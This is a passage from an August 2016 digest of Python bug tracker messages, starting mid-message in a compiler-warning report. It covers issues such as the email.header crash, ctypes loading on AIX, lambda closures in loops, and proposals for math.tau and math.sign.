unsigned int}? from ?long unsigned int? may alter its value [-Wconversion] RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],48,0x19a4c116); ^ Modules/sha256module.c:145:11: note: in definition of macro ?RND? t0 = h + Sigma1(e) + Ch(e, f, g) + ki + W[i]; \ ^ Modules/resource.c:19:60: warning: conversion to ?double? from ?__suseconds_t {aka long int}? may alter its value [-Wconversion] #define doubletime(TV) ((double)(TV).tv_sec + (TV).tv_usec * 0.000001) ^ ./Include/tupleobject.h:62:75: note: in definition of macro ?PyTuple_SET_ITEM? #define PyTuple_SET_ITEM(op, i, v) (((PyTupleObject *)(op))->ob_item[i] = v) ^ Modules/resource.c:82:5: note: in expansion of macro ?PyStructSequence_SET_ITEM? PyStructSequence_SET_ITEM(result, 0, ^~~~~~~~~~~~~~~~~~~~~~~~~ Modules/resource.c:83:40: note: in expansion of macro ?doubletime? PyFloat_FromDouble(doubletime(ru.ru_utime))); ^~~~~~~~~~ Modules/cjkcodecs/cjkcodecs.h:155:27: warning: conversion to ?unsigned char? from ?int? may alter its value [-Wconversion] do { ((*outbuf)[1]) = (c); } while (0) ^ Modules/cjkcodecs/_codecs_kr.c:58:13: note: in expansion of macro ?OUTBYTE2? OUTBYTE2((code & 0xFF) | 0x80); ^~~~~~~~ Modules/_ctypes/cfield.c:439:15: warning: conversion to ?short int? from ?int? may alter its value [-Wconversion] v >>= (sizeof(v)*8 - NUM_BITS(size)); \ ^ Modules/_ctypes/cfield.c:594:5: note: in expansion of macro ?GET_BITFIELD? GET_BITFIELD(val, size); ^~~~~~~~~~~~ ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 09:03:38 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 13:03:38 +0000 Subject: [issue23545] Turn on extra warnings on GCC In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za> Message-ID: <1470920618.23.0.819964084334.issue23545@psf.upfronthosting.co.za> Martin Panter added the comment: The proposed options add exactly one warning for me (ignoring warnings from libffi). How would you work around this: ./Include/pymem.h:136:18: warning: comparison is always false due to limited range of data type [-Wtype-limits] ( ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \ ^ /media/disk/home/proj/python/cpython/Modules/_ssl.c:4435:22: note: in expansion of macro ?PyMem_New? _ssl_locks = PyMem_New(PyThread_type_lock, _ssl_locks_count); ^~~~~~~~~ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 09:05:01 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 11 Aug 2016 13:05:01 +0000 Subject: [issue27734] Memory leaks at Python35-32 In-Reply-To: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> Message-ID: <1470920701.45.0.835326808954.issue27734@psf.upfronthosting.co.za> R. David Murray added the comment: Are you executing this once and worrying about the data structures that are not deallocated on finalize? If so, see issue 228040 for background. If you are executing it in a loop and seeing a continuing leak, then that we will want to address. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 09:16:01 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 11 Aug 2016 13:16:01 +0000 Subject: [issue27735] 'module' object has no attribute 'SIGALRM' - singal module In-Reply-To: <1470903442.61.0.511890043327.issue27735@psf.upfronthosting.co.za> Message-ID: <1470921361.92.0.48648378919.issue27735@psf.upfronthosting.co.za> Changes by R. David Murray : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 09:39:08 2016 From: report at bugs.python.org (Steve Dower) Date: Thu, 11 Aug 2016 13:39:08 +0000 Subject: [issue27730] Update shutil to work with max file path length on Windows In-Reply-To: <1470870125.62.0.00624513832595.issue27730@psf.upfronthosting.co.za> Message-ID: <1470922748.79.0.250778019622.issue27730@psf.upfronthosting.co.za> Steve Dower added the comment: I thought I'd tested GetFullPathNameW and seen the limit kick in at 260, but if that's not actually the case (across all platforms we support) then yes, let's use that. When I reread the documentation yesterday it didn't guarantee the result would include the prefix, whereas GetFinalPathByHandle does. Again, if the documentation is incorrect here, then we should use the simpler function. The fact that I described the normalization process inadequately shows why we really need to be careful trying to emulate it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 09:51:04 2016 From: report at bugs.python.org (Tim Graham) Date: Thu, 11 Aug 2016 13:51:04 +0000 Subject: [issue27737] email.header.Header.encode() crashes with IndexError on spaces only value Message-ID: <1470923464.88.0.417077764128.issue27737@psf.upfronthosting.co.za> New submission from Tim Graham: Python 2.7: >>> from email.header import Header >>> Header(' ').encode() '' Python 3.2+ (I didn't check older versions of Python 3): >>> Header(' ').encode() Traceback (most recent call last): File "", line 1, in File "/home/tim/code/cpython/Lib/email/header.py", line 391, in encode value = formatter._str(linesep) File "/home/tim/code/cpython/Lib/email/header.py", line 427, in _str self.newline() File "/home/tim/code/cpython/Lib/email/header.py", line 439, in newline self._lines[-1] += str(self._current_line) IndexError: list index out of range (Originally reported at https://code.djangoproject.com/ticket/27051) ---------- components: Library (Lib) files: whitespace-header-test.diff keywords: patch messages: 272447 nosy: Tim.Graham priority: normal severity: normal status: open title: email.header.Header.encode() crashes with IndexError on spaces only value versions: Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44077/whitespace-header-test.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 09:58:56 2016 From: report at bugs.python.org (SilentGhost) Date: Thu, 11 Aug 2016 13:58:56 +0000 Subject: [issue27737] email.header.Header.encode() crashes with IndexError on spaces only value In-Reply-To: <1470923464.88.0.417077764128.issue27737@psf.upfronthosting.co.za> Message-ID: <1470923936.29.0.158335391589.issue27737@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- nosy: +barry, r.david.murray stage: -> needs patch type: -> behavior versions: -Python 3.2, Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 10:34:16 2016 From: report at bugs.python.org (Alexander Belopolsky) Date: Thu, 11 Aug 2016 14:34:16 +0000 Subject: [issue24773] Implement PEP 495 (Local Time Disambiguation) In-Reply-To: <1438456647.64.0.191464539374.issue24773@psf.upfronthosting.co.za> Message-ID: <1470926056.42.0.907260113737.issue24773@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: > Any news on the remaining failures for year 2037? Yes, the problem was tracked to a bug [1] in zic. If the buildbots get regular updates, the problem will go away with the next tzdata release. Meanwhile, I'll try to figure out a way to suppress the error. [1]: https://github.com/eggert/tz/commit/081c50f30308b589e7e296f485135d03cf046cb1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 10:39:36 2016 From: report at bugs.python.org (Alexander Belopolsky) Date: Thu, 11 Aug 2016 14:39:36 +0000 Subject: [issue24773] Implement PEP 495 (Local Time Disambiguation) In-Reply-To: <1438456647.64.0.191464539374.issue24773@psf.upfronthosting.co.za> Message-ID: <1470926376.4.0.80940384808.issue24773@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: > Can the size of the tests be reduced, [...]? Yes, the long test walks the zoneinfo tree and runs on every tzfile including the aliases. I am going to change that to parsing the zone.tab file for the list of zone names. This should shorten the time at least 2x. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 10:42:56 2016 From: report at bugs.python.org (Zachary Ware) Date: Thu, 11 Aug 2016 14:42:56 +0000 Subject: [issue27734] Memory leaks at Python35-32 In-Reply-To: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> Message-ID: <1470926576.23.0.781271142422.issue27734@psf.upfronthosting.co.za> Zachary Ware added the comment: Please don't remove yourself from the nosy list, we need your input to figure out exactly what may need to be fixed. ---------- nosy: +?????? ????????? _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 10:50:32 2016 From: report at bugs.python.org (Michael Felt) Date: Thu, 11 Aug 2016 14:50:32 +0000 Subject: [issue27643] test_ctypes fails on AIX with xlc In-Reply-To: <1470301084.91.0.959214688936.issue27643@psf.upfronthosting.co.za> Message-ID: <6e1e7cf1-4f79-e1ea-d9a8-54e193b0ec2d@gmail.com> Michael Felt added the comment: Had some flooding (leaking pipes, rather values) issues to fix. Will look at this asap. On 04-Aug-16 10:58, Martin Panter wrote: > Martin Panter added the comment: > > Okay, so to be clear, I am assuming XLC supports all of the following fields, and uses unsigned bit fields by default: > > struct UNSIGNED_BITS { > unsigned int AU: 1; > int A: 1; /* Equivalent to unsigned int */ > signed int AS: 1; > unsigned short MU: 1; > short M: 1; /* Equivalent to unsigned short; triggers warning */ > }; > > and that it cannot compile the following: > > struct SIGNED_BITS { > signed short MS: 1; /* Not supported */ > }; > > Attached is what I think a patch to resolve this would look like. However it needs a line in Modules/_ctypes/_ctypes_test.c completed to detect the compiler: > > #ifndef /* Something to identify XLC */ > > Can you figure out a way to test for XLC (but not GCC, which the AIX buildbot uses), and then try my patch out? Hopefully you see no more compiler warnings, test_ints() should now pass, and test_shorts() should be skipped. > > ---------- > keywords: +patch > Added file: http://bugs.python.org/file44005/disable-signed-short.patch > > _______________________________________ > Python tracker > > _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 11:01:55 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 11 Aug 2016 15:01:55 +0000 Subject: [issue24773] Implement PEP 495 (Local Time Disambiguation) In-Reply-To: <1438456647.64.0.191464539374.issue24773@psf.upfronthosting.co.za> Message-ID: <20160811150146.3655.73198.DFAFDA3B@psf.io> Roundup Robot added the comment: New changeset 05120447f2c6 by Alexander Belopolsky in branch 'default': Issue #24773: Fix and speed-up ZoneInfoCompleteTest. https://hg.python.org/cpython/rev/05120447f2c6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 11:10:21 2016 From: report at bugs.python.org (Michael Felt) Date: Thu, 11 Aug 2016 15:10:21 +0000 Subject: [issue27435] ctypes library loading and AIX - also for 2.7.X (and later) In-Reply-To: <1470144849.42.0.469463115709.issue27435@psf.upfronthosting.co.za> Message-ID: Michael Felt added the comment: On 02-Aug-16 15:34, Martin Panter wrote: > Martin Panter added the comment: > > For 2.7, adding the automatic RTLD_MEMBER mode does not seem like a bug fix to me. Currently, I understand this code could load two separate libraries: > > file = CDLL("libcrypto.a(libcrypto.so.1.0.0)") Noone (in their right mind, imho) would install, or extract the archive member libcrypto.so.1.0.0and then rename it /usr/lib/libcrypto.a(libcrypto.so.1.0.0) FYI - I did test this case, and as a file, without 0x000400000 (aka RLTD_MEMBER) or'd into the mode. > member = CDLL("libcrypto.a(libcrypto.so.1.0.0)", DEFAULT_MODE | 0x00040000) > > With your proposed change, the first line will do the same as the second line, and Python will no longer provide a way to load a file named like in the first operation. Maybe this is okay for the next version of Python 3 (because it is only breaking a rare corner case), but my view is it is not worth changing 2.7. Right now it is broken in AIX - it is impossible to use the native archive(member) support. Direct loading of .so files, if I recall correctly, was to provide linux affinity (remember the L in AIX 5L). I believe python2 has some years to go, and basically, you ask anyone using python on AIX to go through all kinds of loops. This hurts python acceptance on AIX - too much work to get it working and keep it working. I have been providing AIX support for over 20 years - NEVER have I seen anyone name a shared library libxxx.a(libxxx.so). What I have seen is that people extract archive members from a .a archive into the same directory - but when the archive gets updated most forget to extract the members again. In yet another case I have seen a case where they copied everything to a new directory and do a chroot() to get the .so files they want - because it is impossible to load from a .a file. Yes, when I first started back in February and March: a) knew next to nothing about python; b) was trying to solve it in ways I would like it be (mainly more flexible aka smarter re: the argument to find_library(). However, I do believe what I have here does what is done for other platforms (e.g., darwin needs a different name ending, just not a different mode to go with it) - will "fix" all "performance" related issues for AIX re: calling ldconfig (which is only available in extremely rare situations - again I have never seen it - because, by default, even gcc is using AIX ld, not GNU ld) I hope saying "please" helps. Without it, the AIX implementation is non-existant. The linux code is called for AIX because that is the last else: block, not because the code is specific to "posix". so - PLEASE - pretty please! Michael p.s. And I shall look at the mercurial pages - and I hope have it working. > > ---------- > nosy: +martin.panter > title: ctypes and AIX - also for 2.7.X (and later) -> ctypes library loading and AIX - also for 2.7.X (and later) > > _______________________________________ > Python tracker > > _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 11:15:32 2016 From: report at bugs.python.org (John Sahr) Date: Thu, 11 Aug 2016 15:15:32 +0000 Subject: [issue27738] odd behavior in creating list of lambda expressions Message-ID: <1470928532.31.0.43414210382.issue27738@psf.upfronthosting.co.za> New submission from John Sahr: The following produces unexpected behavior. I think that it should produce a list of six different lambda expressions, but after creation, all six lambda expressions produce the same output. It's possible that I'm missing something about Python. ##### begin example ####### from math import * mm = [] for n in range(6): f = lambda x: sin(n*x) print f, f(1.0) mm.append(f) print '***' for m in mm: print m, m(1.0) ###### end example #### ---------- messages: 272454 nosy: John Sahr priority: normal severity: normal status: open title: odd behavior in creating list of lambda expressions type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 11:15:50 2016 From: report at bugs.python.org (Mark Lawrence) Date: Thu, 11 Aug 2016 15:15:50 +0000 Subject: [issue21018] [patch] added missing documentation about escaping characters for configparser In-Reply-To: <1395464420.76.0.68706986346.issue21018@psf.upfronthosting.co.za> Message-ID: <1470928550.84.0.625347934207.issue21018@psf.upfronthosting.co.za> Changes by Mark Lawrence : ---------- nosy: -BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 11:17:31 2016 From: report at bugs.python.org (Mark Lawrence) Date: Thu, 11 Aug 2016 15:17:31 +0000 Subject: [issue17153] tarfile extract fails when Unicode in pathname In-Reply-To: <1360255401.83.0.937643629633.issue17153@psf.upfronthosting.co.za> Message-ID: <1470928651.24.0.793438053314.issue17153@psf.upfronthosting.co.za> Changes by Mark Lawrence : ---------- nosy: -BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 11:17:50 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 11 Aug 2016 15:17:50 +0000 Subject: [issue27738] odd behavior in creating list of lambda expressions In-Reply-To: <1470928532.31.0.43414210382.issue27738@psf.upfronthosting.co.za> Message-ID: <1470928670.35.0.133504221295.issue27738@psf.upfronthosting.co.za> Emanuel Barry added the comment: This is due to the fact that Python evaluates the variable 'n' when the function is called, not when it is created. As such, the variable holds the latest value for all functions, and they exhibit identical behaviour. Workaround: ... f = lambda x, n=n: sin(n*x) ... And this should work as you expect. More information is available at https://docs.python.org/3/faq/programming.html#why-do-lambdas-defined-in-a-loop-with-different-values-all-return-the-same-result ---------- nosy: +ebarry resolution: -> not a bug stage: -> resolved status: open -> closed versions: -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 11:30:43 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Thu, 11 Aug 2016 15:30:43 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <1470929443.34.0.0678044382277.issue27720@psf.upfronthosting.co.za> Evelyn Mitchell added the comment: Thank you Raymond for a detailed patch update. I will mention that matlab does not support this conversion [1]. R doesn't support engineering notation, either. It may be that this conversion isn't expected to be part of the standard library, and people are more likely to write their own. [2] The rationale for engineering notation is that it corresponds to SI units of measure. [1] https://www.mathworks.com/matlabcentral/newsreader/view_thread/22843 [2] http://stackoverflow.com/questions/8262302/python-fixed-exponent-in-scientific-notation ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 11:34:52 2016 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 11 Aug 2016 15:34:52 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470929692.85.0.881600789244.issue12345@psf.upfronthosting.co.za> Guido van Rossum added the comment: It's okay if Python occasionally shows its lighter side in unexpected places. Think of the delight of future (junior) high schoolers who discover that Python participates in the tau debate. :-) Also, I think this video by Vi Hart should be linked to from the docs for this constant: https://www.youtube.com/watch?v=jG7vhMMXagQ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 11:36:12 2016 From: report at bugs.python.org (REIX Tony) Date: Thu, 11 Aug 2016 15:36:12 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1470929772.14.0.636371386215.issue27725@psf.upfronthosting.co.za> REIX Tony added the comment: With XLC v13 -O2, using -qalias=noansi for building Objects/longobject.o only and not for all the other .o files did fix the 10 more failed tests I see with -O2 compared to -O0 (7-8 failed tests). So, ANSI-aliasing in Objects/longobject.c is the issue. About -fwrapv , I have to find an equivalent for XLC. I've given a first try with GCC 4.8.4 . I've got about 44 failed tests compared to 7-8 with XLC. To be improved. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 12:10:33 2016 From: report at bugs.python.org (Ankur Dedania) Date: Thu, 11 Aug 2016 16:10:33 +0000 Subject: [issue27739] add math.sign/signum Message-ID: <1470931833.72.0.660123073724.issue27739@psf.upfronthosting.co.za> New submission from Ankur Dedania: Add a new function to the math module sign/signum https://en.wikipedia.org/wiki/Sign_function ---------- messages: 272459 nosy: AnkurDedania priority: normal severity: normal status: open title: add math.sign/signum type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 12:33:53 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 11 Aug 2016 16:33:53 +0000 Subject: [issue27739] add math.sign/signum In-Reply-To: <1470931833.72.0.660123073724.issue27739@psf.upfronthosting.co.za> Message-ID: <1470933233.5.0.5407317682.issue27739@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See math.copysign(). https://docs.python.org/3/library/math.html#math.copysign ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 12:59:18 2016 From: report at bugs.python.org (Ankur Dedania) Date: Thu, 11 Aug 2016 16:59:18 +0000 Subject: [issue27739] add math.sign/signum In-Reply-To: <1470931833.72.0.660123073724.issue27739@psf.upfronthosting.co.za> Message-ID: <1470934758.59.0.173588294559.issue27739@psf.upfronthosting.co.za> Ankur Dedania added the comment: sign/signum isn't the same as copysign, and doesn't support complex numbers ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 13:10:24 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 11 Aug 2016 17:10:24 +0000 Subject: [issue27739] add math.sign/signum In-Reply-To: <1470931833.72.0.660123073724.issue27739@psf.upfronthosting.co.za> Message-ID: <1470935424.38.0.525903596391.issue27739@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: sgn(x) is the same as copysign(1.0, x). The math module doesn't support complex numbers and shouldn't. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 13:19:54 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 11 Aug 2016 17:19:54 +0000 Subject: [issue27739] add math.sign/signum In-Reply-To: <1470931833.72.0.660123073724.issue27739@psf.upfronthosting.co.za> Message-ID: <1470935994.96.0.745743870159.issue27739@psf.upfronthosting.co.za> Steven D'Aprano added the comment: If this is added, should this signum function be the two value version that returns 1 for zero, or the three value version that returns 0? Should it distinguish between signed zeroes +0.0 and -0.0? What should it do for NANs (raise, return a NAN, copy the sign bit from the NAN)? The argument for adding this will be slightly stronger if other languages have this, and especially if it is part of the standard C maths library. In any case, there's only a few more days until the 3.6 feature freeze, so unless you have an implementation and tests ready to go, the earliest it could be added will be 3.7. Serhiy: if this gets added, then it would make sense to add cmath.signum to handle complex numbers. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 13:25:49 2016 From: report at bugs.python.org (Ben Hoyt) Date: Thu, 11 Aug 2016 17:25:49 +0000 Subject: [issue27719] Misleading note about "args" attribute in "User-defined Exceptions" section of tutorial In-Reply-To: <1470758926.96.0.219997040874.issue27719@psf.upfronthosting.co.za> Message-ID: <1470936349.97.0.267748163325.issue27719@psf.upfronthosting.co.za> Ben Hoyt added the comment: Removing that whole example sounds good to me, thanks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 13:49:15 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Thu, 11 Aug 2016 17:49:15 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470937755.21.0.427819944122.issue12345@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: Guido once again shows he is not a mathematicians (honestly, most of the "arguments" for tau are plain nonsense), but he is a fantastic popularizer. I (and most of the other professional mathematicians) will love Python a tiny bit less, but a horde of people will love it more, and it's a fine tradeoff. :-) ---------- nosy: +veky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:02:32 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 11 Aug 2016 18:02:32 +0000 Subject: [issue27739] add math.sign/signum In-Reply-To: <1470931833.72.0.660123073724.issue27739@psf.upfronthosting.co.za> Message-ID: <1470938552.82.0.964704391155.issue27739@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: copysign() is part of the standard C maths library (that is why it was added to the math module). sgn/sign/signum was used in old languages that didn't have copysign() (Basic, Pascal, etc). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:07:15 2016 From: report at bugs.python.org (Tim Peters) Date: Thu, 11 Aug 2016 18:07:15 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470938835.35.0.469887927707.issue12345@psf.upfronthosting.co.za> Tim Peters added the comment: For those insisting that tau is somehow unnatural, just consider that the volume of a sphere with radius r is 2*tau/3*r**3 - the formula using pi instead is just plain impossible to remember ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:12:23 2016 From: report at bugs.python.org (Evelyn Mitchell) Date: Thu, 11 Aug 2016 18:12:23 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470939143.39.0.715078185808.issue12345@psf.upfronthosting.co.za> Changes by Evelyn Mitchell : ---------- nosy: -Evelyn Mitchell _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:13:23 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 11 Aug 2016 18:13:23 +0000 Subject: [issue27740] Fix doc of Py_CompileStringExFlags Message-ID: <1470939203.79.0.619794104629.issue27740@psf.upfronthosting.co.za> New submission from Xiang Zhang: I think the doc of Py_CompileStringExFlags has two flaws: 1. Py_CompileStringExFlags should be replaced by Py_CompileStringObject from the context. Py_CompileStringExFlags in the context is meaningless. 2. *filename* is a byte string that should be decoded but not decoded from. It is ... = decode(filename) but not filename = decode(...). ---------- assignee: docs at python components: Documentation files: Py_CompileStringExFlags_doc.patch keywords: patch messages: 272468 nosy: docs at python, xiang.zhang priority: normal severity: normal status: open title: Fix doc of Py_CompileStringExFlags type: behavior versions: Python 3.6 Added file: http://bugs.python.org/file44078/Py_CompileStringExFlags_doc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:15:00 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 11 Aug 2016 18:15:00 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1470938835.35.0.469887927707.issue12345@psf.upfronthosting.co.za> Message-ID: <57ACC0A2.1010707@free.fr> Antoine Pitrou added the comment: Le 11/08/2016 20:07, Tim Peters a ?crit : > > For those insisting that tau is somehow unnatural, just consider > that the volume of a sphere with radius r is 2*tau/3*r**3 - the formula using > pi instead is just plain impossible to remember ;-) Thank you, I'm totally convinced now :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:22:19 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 11 Aug 2016 18:22:19 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470939739.35.0.278823624637.issue12345@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: In general, the volume, in n-dimensional Euclidean space, of the unit n-ball, is given by V_n = pi**(n/2) / gamma(n/2+1) or V_n = (tau/2)**(n/2) / gamma(n/2+1) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:34:00 2016 From: report at bugs.python.org (Aaron Meurer) Date: Thu, 11 Aug 2016 18:34:00 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470940440.58.0.983251948488.issue12345@psf.upfronthosting.co.za> Changes by Aaron Meurer : ---------- nosy: +Aaron.Meurer _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:41:43 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Thu, 11 Aug 2016 18:41:43 +0000 Subject: [issue27539] negative Fraction ** negative int not normalized In-Reply-To: <1468740731.71.0.38394274484.issue27539@psf.upfronthosting.co.za> Message-ID: <1470940903.38.0.177897714522.issue27539@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: Here is the code for the patch: 84c84 < def __new__(cls, numerator=0, denominator=None, _normalize=True): --- > def __new__(cls, numerator=0, denominator=None, *, _normalize=True): 459,466c459,466 < if power >= 0: < return Fraction(a._numerator ** power, < a._denominator ** power, < _normalize=False) < else: < return Fraction(a._denominator ** -power, < a._numerator ** -power, < _normalize=False) --- > num = a._numerator > den = a._denominator > if power < 0: > num, den, power = den, num, -power > if den < 0: > num = -num > den = -den > return Fraction(num ** power, den ** power, _normalize=False) I tried to add the test to test_fractions.py, but unfortunately unittest reports 3 unrelated failures due to mismatch in error messages (why does it check exact messages of exceptions anyway?). But it should just be adding self.assertTypedEquals(F(-1, 2), F(-2) ** -1) after line 408. _Please_, can this go in before 15th? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:44:05 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 11 Aug 2016 18:44:05 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470941045.45.0.796738737804.issue12345@psf.upfronthosting.co.za> Antoine Pitrou added the comment: The patch needs a documentation update, by the way. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:45:08 2016 From: report at bugs.python.org (Aaron Meurer) Date: Thu, 11 Aug 2016 18:45:08 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470941108.27.0.146760950385.issue12345@psf.upfronthosting.co.za> Aaron Meurer added the comment: If this is implemented, it would be (as far as I can tell) the only thing in the math module that isn't also implemented in any of the standard external math libraries. None of numpy, scipy, sympy, or mpmath implement tau (if I'm missing one that others think is equally important to the ecosystem, let me know). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:48:31 2016 From: report at bugs.python.org (Nicholas Colclasure) Date: Thu, 11 Aug 2016 18:48:31 +0000 Subject: [issue27741] datetime.datetime.strptime functionality description incorrect Message-ID: <1470941311.19.0.0562450492824.issue27741@psf.upfronthosting.co.za> New submission from Nicholas Colclasure: The datetime.datetime.strptime documentation states that it is equivalent to datetime(*(time.strptime(date_string, format)[0:6])), but the time.struct_time returned by time.strptime does not include microseconds, implying that datetime's strptime would also not include microseconds, but testing of the functions shows that it does include them. Removing the false statement of equivalence would be enough to remove this bug from the documentation. ---------- assignee: docs at python components: Documentation messages: 272474 nosy: Valectar, docs at python priority: normal severity: normal status: open title: datetime.datetime.strptime functionality description incorrect type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 14:48:54 2016 From: report at bugs.python.org (Kay Hayen) Date: Thu, 11 Aug 2016 18:48:54 +0000 Subject: [issue11566] hypot define in pyconfig.h clashes with g++'s cmath In-Reply-To: <1300232356.74.0.516279839285.issue11566@psf.upfronthosting.co.za> Message-ID: <1470941334.11.0.861517894646.issue11566@psf.upfronthosting.co.za> Kay Hayen added the comment: This also affects Python2.7.12 on Windows with latest MinGW. I think something similar needs to be added for GCC version check: /* VS 2010 and above already defines hypot as _hypot */ #if _MSC_VER < 1600 #define hypot _hypot #endif Not sure which gcc version first had that, but 6.1 definitely does. Yours, Kay ---------- nosy: +Kay.Hayen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 15:52:07 2016 From: report at bugs.python.org (Aaron Meurer) Date: Thu, 11 Aug 2016 19:52:07 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470945127.69.0.0570186927289.issue12345@psf.upfronthosting.co.za> Aaron Meurer added the comment: I also wonder, if math will be gaining constants that no one uses like tau, if it will also gain constants that people actually do use (currently math just has pi, e, inf, and nan). [i for i in dir(numpy) if isinstance(getattr(numpy, i), float)] reveals euler_gamma as one example. https://docs.scipy.org/doc/scipy/reference/constants.html lists a bunch more. And if we're adding derived constants, why not loge2, another 